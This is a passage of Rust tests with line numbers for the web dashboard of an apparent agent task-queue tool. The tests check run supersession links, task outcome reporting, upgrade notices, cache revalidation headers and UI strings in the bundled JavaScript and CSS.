20649 );
20650 }
20651 assert!(APP_JS.contains(".waiting_on"));
20652 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20657 assert!(APP_JS.contains("reconnects on its own"));
20658 }
20659
20660 #[test]
20661 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20662 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20671 ..APP_JS.find("function upgrade(").expect("upgrade")];
20672 assert!(
20673 !body.contains(
20674 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20675 ),
20676 "a failed upgrade must not take the whole strip over the way it used to"
20677 );
20678 assert!(
20679 body.contains("upgradeFailNote"),
20680 "the failure has to reach the loop's own note instead"
20681 );
20682 assert_eq!(
20686 body.matches("upgradeFailNote].filter(Boolean).join")
20687 .count(),
20688 2,
20689 "both loop-why writers (quiet and control) must fold the note in"
20690 );
20691 }
20692
20693 #[test]
20694 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20695 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20698 assert!(APP_JS.contains("function upgradeOverdue("));
20699 }
20700
20701 #[test]
20702 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20703 assert!(
20704 APP_JS.contains("Updated to ${upgradeInfo.to"),
20705 "the operator who asked for the restart wants to know it worked"
20706 );
20707 }
20708
20709 #[test]
20710 fn an_error_is_visible_from_where_the_button_is() {
20711 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20716 ..APP_CSS.find(".alert-text").expect(".alert-text")];
20717 assert!(
20718 alert.contains("position: fixed"),
20719 "an error about the thing under your thumb has to be visible from \
20720 where your thumb is: {alert}"
20721 );
20722 assert!(
20723 alert.contains("z-index: 25"),
20724 "above the dock (20) and the run-actions FAB (15), so neither \
20725 buries it: {alert}"
20726 );
20727 assert!(
20728 alert.contains("var(--tap)"),
20729 "and clear of the dock and the home indicator: {alert}"
20730 );
20731 assert!(
20734 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20735 "the FAB's column stays free: {alert}"
20736 );
20737 }
20738
20739 #[tokio::test]
20740 async fn an_older_attempt_says_what_replaced_it() {
20741 let fx = Fixture::start().await;
20742 let q = fx.queue();
20743 let runs = fx.runs();
20744 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20745 write_run(&runs, first, RunStatus::Stalled);
20746 write_run(&runs, second, RunStatus::Blocked);
20747
20748 let mut t = Task::new(
20749 "one task".to_owned(),
20750 "do it".to_owned(),
20751 PathBuf::from("/repo"),
20752 Source::Human,
20753 );
20754 t.runs = vec![first.to_owned(), second.to_owned()];
20755 q.put(&mut t).expect("put");
20756
20757 let rows = fx.get("/api/runs").await.json();
20761 let by = |short: &str| -> Value {
20762 rows.as_array()
20763 .unwrap()
20764 .iter()
20765 .find(|r| r["short"] == short)
20766 .cloned()
20767 .unwrap_or(Value::Null)
20768 };
20769 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20770 assert!(
20771 by("bbbb")["superseded_by"].is_null(),
20772 "the latest attempt is not superseded by anything"
20773 );
20774 assert!(APP_JS.contains("run.superseded_by"));
20776 assert!(APP_JS.contains("Superseded by"));
20777 }
20778
20779 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20780 let mut t = Task::new(
20781 "one task".to_owned(),
20782 "do it".to_owned(),
20783 PathBuf::from("/repo"),
20784 Source::Human,
20785 );
20786 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20787 t.status = status;
20788 t
20789 }
20790
20791 #[test]
20792 fn source_link_picks_the_page_that_filed_the_task() {
20793 let agent = |node: &str| Source::Agent {
20794 run: "20260904-014455-ab12".to_owned(),
20795 node: node.to_owned(),
20796 };
20797 let chat = source_link(&agent("chat")).expect("chat link");
20798 assert_eq!(chat.kind, "chat");
20799 assert_eq!(chat.id, "20260904-014455-ab12");
20800 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20801 let run = source_link(&agent("implement")).expect("run link");
20802 assert_eq!(
20803 (run.kind, run.href.as_str()),
20804 ("run", "#/runs/20260904-014455-ab12")
20805 );
20806 assert_eq!(source_link(&Source::Human), None);
20807 assert_eq!(
20808 source_link(&Source::Issue {
20809 number: 3,
20810 repo: "o/r".to_owned()
20811 }),
20812 None
20813 );
20814 let odd = source_link(&Source::Agent {
20815 run: "a b/c".to_owned(),
20816 node: "chat".to_owned(),
20817 })
20818 .expect("link");
20819 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20820 }
20821
20822 #[test]
20823 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20824 assert!(
20825 !APP_JS.contains("src.node === \"chat\""),
20826 "inline href rule is back"
20827 );
20828 assert!(
20829 APP_JS.matches("sourceLinkOf(").count() >= 4,
20830 "helper must serve every page"
20831 );
20832 assert!(
20833 APP_JS.matches("openChatLink(").count() >= 3,
20834 "the run page still needs its explicit chat link"
20835 );
20836 assert!(
20837 !APP_JS.contains("const openChat = el("),
20838 "the Queue card duplicates its source label link again"
20839 );
20840 assert!(
20841 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20842 "the task page must link a chat source label too"
20843 );
20844 }
20845
20846 #[test]
20847 fn task_ref_carries_the_source_link_for_a_chat_task() {
20848 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20849 t.source = Source::Agent {
20850 run: "20260904-014455-ab12".to_owned(),
20851 node: "chat".to_owned(),
20852 };
20853 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20854 let v = serde_json::to_value(&out).expect("json");
20855 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20856 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20857 assert_eq!(v["source_label"], t.source.label());
20858
20859 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20860 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20861 .expect("json");
20862 assert!(v["source_link"].is_null(), "{v}");
20863 }
20864
20865 #[test]
20866 fn task_view_serializes_source_link() {
20867 let mut t = Task::new(
20868 "t".to_owned(),
20869 "t".to_owned(),
20870 PathBuf::from("/repo"),
20871 Source::Agent {
20872 run: "20260901-000000-aaaa".to_owned(),
20873 node: "implement".to_owned(),
20874 },
20875 );
20876 t.runs.clear();
20877 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20878 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20879 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20880 }
20881
20882 #[test]
20883 fn task_view_serializes_urgent_flag() {
20884 let mut t = Task::new(
20885 "t".to_owned(),
20886 "t".to_owned(),
20887 PathBuf::from("/repo"),
20888 Source::Human,
20889 );
20890 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20891 assert_eq!(v["urgent"], false, "{v}");
20892 t.urgent = true;
20893 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20894 assert_eq!(v["urgent"], true, "{v}");
20895 assert!(APP_JS.contains("task.urgent === true"));
20896 }
20897
20898 #[tokio::test]
20899 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20900 let fx = Fixture::start().await;
20901 let runs = fx.runs();
20902 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20903 write_run(&runs, old, RunStatus::Blocked);
20904 write_run(&runs, new, RunStatus::Merged);
20905 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20906 fx.queue().put(&mut t).expect("put");
20907
20908 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20909 let task = &view["task"];
20910 assert_eq!(task["status"], "done");
20911 assert_eq!(task["is_latest"], false);
20912 assert_eq!(task["latest"]["short"], "bbbb");
20913 assert_eq!(task["finished_by"]["id"], new);
20914 assert_eq!(task["finished_by"]["outcome"], "merged");
20915 assert_eq!(task["closed_by_hand"], false);
20916 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20917 assert!(APP_JS.contains("finished_by"));
20918 assert!(APP_JS.contains("superseded by run"));
20919 }
20920
20921 #[tokio::test]
20922 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20923 let fx = Fixture::start().await;
20924 let runs = fx.runs();
20925 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20926 write_run(&runs, old, RunStatus::Stalled);
20927 write_run(&runs, new, RunStatus::Blocked);
20928 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20929 fx.queue().put(&mut t).expect("put");
20930
20931 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20932 assert_eq!(task["status"], "held");
20933 assert_eq!(task["is_latest"], true);
20934 assert!(task["latest"].is_null());
20935 assert!(task["finished_by"].is_null());
20936 assert_eq!(task["closed_by_hand"], false);
20937 }
20938
20939 #[tokio::test]
20940 async fn a_direct_run_has_no_task_outcome() {
20941 let fx = Fixture::start().await;
20942 let runs = fx.runs();
20943 let id = "20260901-000000-aaaa";
20944 write_run(&runs, id, RunStatus::Blocked);
20945 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20946 assert!(view["task"].is_null());
20947 }
20948
20949 #[test]
20950 fn task_outcome_does_not_guess_a_finishing_run() {
20951 let a = "20260901-000000-aaaa";
20952 let b = "20260901-000000-bbbb";
20953 let c = "20260901-000000-cccc";
20954 let dir = tempfile::tempdir().expect("tempdir");
20955 write_run(dir.path(), a, RunStatus::Blocked);
20956 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20957 let read = |id: &str| read_run(dir.path(), id).ok();
20959 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20962 let out = task_outcome(&t, a, 3, read);
20963 assert!(out.finished_by.is_none());
20964 assert!(out.closed_by_hand);
20965 let latest = out.latest.expect("latest");
20966 assert_eq!(latest.id, c);
20967 assert_eq!(latest.status, None);
20968 assert_eq!(latest.outcome, "record unreadable");
20969
20970 write_run(dir.path(), c, RunStatus::Ready);
20972 let t = outcome_task(&[a, c], TaskStatus::Done);
20973 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20974 assert_eq!(out.finished_by.expect("finisher").id, c);
20975 assert!(!out.closed_by_hand);
20976
20977 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20979 assert!(task_outcome(&t, a, 3, read).is_latest);
20980 }
20981
20982 #[tokio::test]
20983 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20984 let fx = Fixture::start().await;
20989 let q = fx.queue();
20990 let runs = fx.runs();
20991 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20992 write_run(&runs, first, RunStatus::Blocked);
20993 write_run(&runs, second, RunStatus::Merged);
20994
20995 let mut t = Task::new(
20996 "one task".to_owned(),
20997 "do it".to_owned(),
20998 PathBuf::from("/repo"),
20999 Source::Human,
21000 );
21001 t.runs = vec![first.to_owned(), second.to_owned()];
21002 q.put(&mut t).expect("put");
21003
21004 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21005 assert_eq!(earlier["superseded_by"], "dddd");
21006 assert_eq!(earlier["latest_attempt"]["id"], second);
21007 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21008 assert_eq!(
21009 earlier["latest_attempt"]["resolved"], true,
21010 "the run that replaced it landed, so this one reads as settled"
21011 );
21012
21013 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21014 assert!(
21015 later["superseded_by"].is_null(),
21016 "the latest attempt is not superseded by anything"
21017 );
21018 assert!(
21019 later["latest_attempt"].is_null(),
21020 "the latest attempt has no later attempt of its own"
21021 );
21022
21023 assert!(APP_JS.contains("run.latest_attempt"));
21030 assert!(APP_JS.contains("data-superseded"));
21031 assert!(APP_JS.contains("#/runs/${latest.id}"));
21032 }
21033
21034 #[tokio::test]
21035 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21036 let fx = Fixture::start().await;
21042 let q = fx.queue();
21043 let runs = fx.runs();
21044 let (a, b, c) = (
21045 "20260901-000000-aaaa",
21046 "20260901-000000-bbbb",
21047 "20260901-000000-cccc",
21048 );
21049 write_run(&runs, a, RunStatus::Blocked);
21050 write_run(&runs, b, RunStatus::Blocked);
21051 write_run(&runs, c, RunStatus::Merged);
21052
21053 let mut t = Task::new(
21054 "retried twice".to_owned(),
21055 "do it".to_owned(),
21056 PathBuf::from("/repo"),
21057 Source::Human,
21058 );
21059 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21060 q.put(&mut t).expect("put");
21061
21062 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21063 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21064 assert_eq!(
21065 view["latest_attempt"]["id"], c,
21066 "the chain's current head, not the intermediate Blocked retry"
21067 );
21068 assert_eq!(view["latest_attempt"]["resolved"], true);
21069
21070 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21071 assert_eq!(mid["latest_attempt"]["id"], c);
21072 assert_eq!(mid["latest_attempt"]["resolved"], true);
21073 }
21074
21075 #[tokio::test]
21076 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21077 let fx = Fixture::start().await;
21078 let q = fx.queue();
21079 let runs = fx.runs();
21080
21081 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21084 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21085 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21086 let mut t1 = Task::new(
21087 "still stuck".to_owned(),
21088 "do it".to_owned(),
21089 PathBuf::from("/repo"),
21090 Source::Human,
21091 );
21092 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21093 q.put(&mut t1).expect("put");
21094 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21095 assert_eq!(view1["latest_attempt"]["resolved"], false);
21096 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21097 assert_eq!(view1["latest_attempt"]["done"], true);
21098
21099 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21101 write_run(&runs, run_a, RunStatus::Blocked);
21102 write_run(&runs, run_b, RunStatus::Implementing);
21103 let mut t3 = Task::new(
21104 "retrying".to_owned(),
21105 "do it".to_owned(),
21106 PathBuf::from("/repo"),
21107 Source::Human,
21108 );
21109 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21110 q.put(&mut t3).expect("put");
21111 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21112 assert_eq!(view3["latest_attempt"]["id"], run_b);
21113 assert_eq!(view3["latest_attempt"]["resolved"], false);
21114 assert_eq!(view3["latest_attempt"]["done"], false);
21115
21116 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21121 write_run(&runs, noop_a, RunStatus::Blocked);
21122 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21123 let mut t2 = Task::new(
21124 "claims done".to_owned(),
21125 "do it".to_owned(),
21126 PathBuf::from("/repo"),
21127 Source::Human,
21128 );
21129 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21130 q.put(&mut t2).expect("put");
21131 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21132 assert_eq!(
21133 view2["latest_attempt"]["resolved"], false,
21134 "an unverified no-op claim must not read as a confirmed finish"
21135 );
21136
21137 assert!(APP_JS.contains("latest.resolved"));
21140 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21143 assert!(APP_JS.contains("Latest attempt: "));
21144 assert!(APP_JS.contains("in flight"));
21145 assert!(APP_JS.contains("not resolved"));
21146 }
21147
21148 #[tokio::test]
21149 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21150 let fx = Fixture::start().await;
21151 let js = fx.get("/app.js").await;
21157 assert_eq!(js.status, 200);
21158 let tag = js
21159 .header("etag")
21160 .expect("an etag to revalidate against")
21161 .to_owned();
21162 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21163 assert_eq!(
21164 js.header("cache-control"),
21165 Some("no-cache, must-revalidate"),
21166 "the phone has to ask every time"
21167 );
21168
21169 let again = fx
21172 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21173 .await;
21174 assert_eq!(
21175 again.status, 304,
21176 "a deck it already has costs one round trip"
21177 );
21178 assert!(again.body.is_empty(), "304 carries no body");
21179
21180 let weak = fx
21183 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21184 .await;
21185 assert_eq!(weak.status, 304);
21186 let stale = fx
21187 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21188 .await;
21189 assert_eq!(stale.status, 200, "an older build must be replaced");
21190 assert!(stale.body.contains("renderRunActions"));
21191 }
21192
21193 #[test]
21194 fn the_task_detail_has_an_actions_fab_and_sheet() {
21195 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21196 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21197 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21198 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21200 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21201 assert!(APP_JS.contains("renderTaskActions(task);"));
21203 assert!(APP_JS.contains("renderTaskActions(null);"));
21204 let sheet = APP_JS
21206 .find("function renderTaskActions")
21207 .expect("sheet renderer");
21208 let body = &APP_JS[sheet..sheet + 3000];
21209 assert!(body.contains("changePriority("));
21210 assert!(body.contains("openTaskEdit(task)"));
21211 assert!(body.contains("renderTaskHoldBox(host"));
21212 assert!(body.contains("renderTaskDoneBox(host"));
21213 assert!(body.contains("renderTaskDeleteBox(host"));
21214 assert!(APP_JS.contains("API.priority(id)"));
21215 assert!(APP_JS.contains("API.deleteTask(id)"));
21216 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21218 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21220 }
21221
21222 #[test]
21223 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21224 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21225 let actions = INDEX_HTML
21226 .find("id=\"run-actions-box\"")
21227 .expect("actions box");
21228 assert!(task < actions, "the task entry comes first in the sheet");
21229 assert!(APP_JS.contains("renderRunTaskEntry"));
21230 assert!(APP_JS.contains("\"Open task \""));
21231 assert!(APP_JS.contains("started directly, no task"));
21233 assert!(APP_JS.contains("sheet-task-link"));
21234 assert!(APP_JS.contains("task-chip-link"));
21235 }
21236
21237 #[test]
21238 fn the_deck_never_sends_the_operator_to_a_terminal() {
21239 assert!(
21242 !APP_JS.contains("Run `magi fold` first"),
21243 "the deck must offer the fold, not prescribe a shell command"
21244 );
21245 assert!(APP_JS.contains("foldRun:"));
21246 assert!(APP_JS.contains("resumeRun:"));
21247 assert!(APP_JS.contains("renderRunActions"));
21248
21249 assert!(APP_JS.contains("armedFold"));
21251 assert!(APP_JS.contains("Yes, fold worktrees"));
21252
21253 assert!(APP_JS.contains("can no longer be resumed"));
21256 }
21257
21258 #[test]
21259 fn a_finished_run_explains_itself_with_its_own_last_line() {
21260 assert!(
21266 !APP_JS.contains("collapsed on agent quota"),
21267 "a stall must not be explained by a cause the deck did not check"
21268 );
21269 assert!(
21270 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21271 "and a block must not offer a guess with an `or` in it"
21272 );
21273
21274 assert!(
21278 APP_JS.contains("setText(r.event, run.event || \"\")"),
21279 "the run's last line is rendered unconditionally"
21280 );
21281 assert!(
21282 !APP_JS.contains("moving && run.event"),
21283 "and never gated on the run still moving"
21284 );
21285
21286 assert!(APP_JS.contains("lost to quota"));
21288 }
21289
21290 #[test]
21312 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21313 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21314 let shapes_body_start =
21315 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21316 let shapes_close = APP_JS[shapes_body_start..]
21317 .find("].map(")
21318 .expect("the shape list is closed by its done-computing .map(...)")
21319 + shapes_body_start;
21320 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21321
21322 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21323 for entry in shapes_src.split('{').skip(1) {
21324 let waiting = entry.contains("waiting: true");
21325 let dead = entry.contains("live: \"dead\"");
21326 let status_at =
21327 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21328 let status_end = entry[status_at..]
21329 .find('"')
21330 .expect("the status string is closed")
21331 + status_at;
21332 let parked = entry.contains("display_status: \"parked\"");
21333 shapes.push((
21334 waiting,
21335 entry[status_at..status_end].to_string(),
21336 dead,
21337 parked,
21338 ));
21339 }
21340 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21341
21342 let done_rule_marker = "done: !";
21346 let done_rule_at = APP_JS[shapes_close..]
21347 .find(done_rule_marker)
21348 .expect("the done rule follows the shape list")
21349 + shapes_close
21350 + done_rule_marker.len();
21351 let includes_at = APP_JS[done_rule_at..]
21352 .find(".includes(shape.status)")
21353 .expect("the done rule ends in .includes(shape.status)")
21354 + done_rule_at;
21355 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21356 .trim()
21357 .trim_start_matches('[')
21358 .trim_end_matches(']')
21359 .split(',')
21360 .map(|s| s.trim().trim_matches('"'))
21361 .filter(|s| !s.is_empty())
21362 .collect();
21363
21364 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21365 .into_iter()
21366 .map(|(waiting, status, dead, parked)| {
21367 let done = !not_done.contains(&status.as_str());
21368 (waiting, status, dead, parked, done)
21369 })
21370 .collect();
21371
21372 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21376 if waiting {
21377 return "waiting";
21378 }
21379 if dead
21380 && !parked
21381 && !matches!(
21382 status,
21383 "merged"
21384 | "ready"
21385 | "stalled"
21386 | "blocked"
21387 | "failed"
21388 | "verified_noop"
21389 | "superseded"
21390 | "already_in_base"
21391 )
21392 {
21393 return "stale";
21394 }
21395 match status {
21396 "merged" | "ready" => "landed",
21397 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21398 | "already_in_base" => "ended",
21399 _ => "flight",
21400 }
21401 }
21402
21403 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21406 match filter_key {
21407 "active" => !done,
21408 "flight" => !done && !waiting && !dead,
21409 "stale" => !done && !waiting && dead,
21410 "waiting" => waiting,
21411 "done" => done,
21412 "all" => true,
21413 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21414 }
21415 }
21416
21417 let compatible = |section: &str, filter_key: &str| {
21418 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21419 run_section(*waiting, status, *dead, *parked) == section
21420 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21421 })
21422 };
21423
21424 let expected = [
21429 ("waiting", [true, false, false, true, true, true]),
21430 ("stale", [true, false, true, false, false, true]),
21431 ("flight", [true, true, false, false, false, true]),
21432 ("landed", [false, false, false, false, true, true]),
21433 ("ended", [false, false, false, false, true, true]),
21434 ];
21435 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21436
21437 for (section, wants) in expected {
21438 for (filter_key, want) in filter_keys.iter().zip(wants) {
21439 assert_eq!(
21440 compatible(section, filter_key),
21441 want,
21442 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21443 );
21444 }
21445 }
21446
21447 assert!(
21450 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21451 );
21452 assert!(APP_JS.contains(
21453 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21454 ));
21455 assert!(APP_JS.contains(
21456 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21457 ));
21458 }
21459
21460 #[tokio::test]
21461 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21462 let dir = tempfile::tempdir().expect("tempdir");
21466 let explicit = dir.path().join("not-a-checkout");
21467 std::fs::create_dir_all(&explicit).expect("create dir");
21468 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21469
21470 let missing = dir.path().join("does-not-exist-at-all");
21471 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21472 }
21473
21474 #[test]
21475 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21476 assert!(APP_JS.contains("function statsDonutArcs"));
21477 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21478 assert!(APP_JS.contains("function statusInBucket"));
21480 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21481 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21482 let buckets = [
21483 "merged",
21484 "ready",
21485 "in_progress",
21486 "blocked",
21487 "failed",
21488 "verified_noop",
21489 "superseded",
21490 "stalled",
21491 ];
21492 for key in buckets {
21493 let var = format!("--verdict-{key}:");
21494 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21496 assert!(
21497 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21498 "{key}"
21499 );
21500 }
21501 }
21502}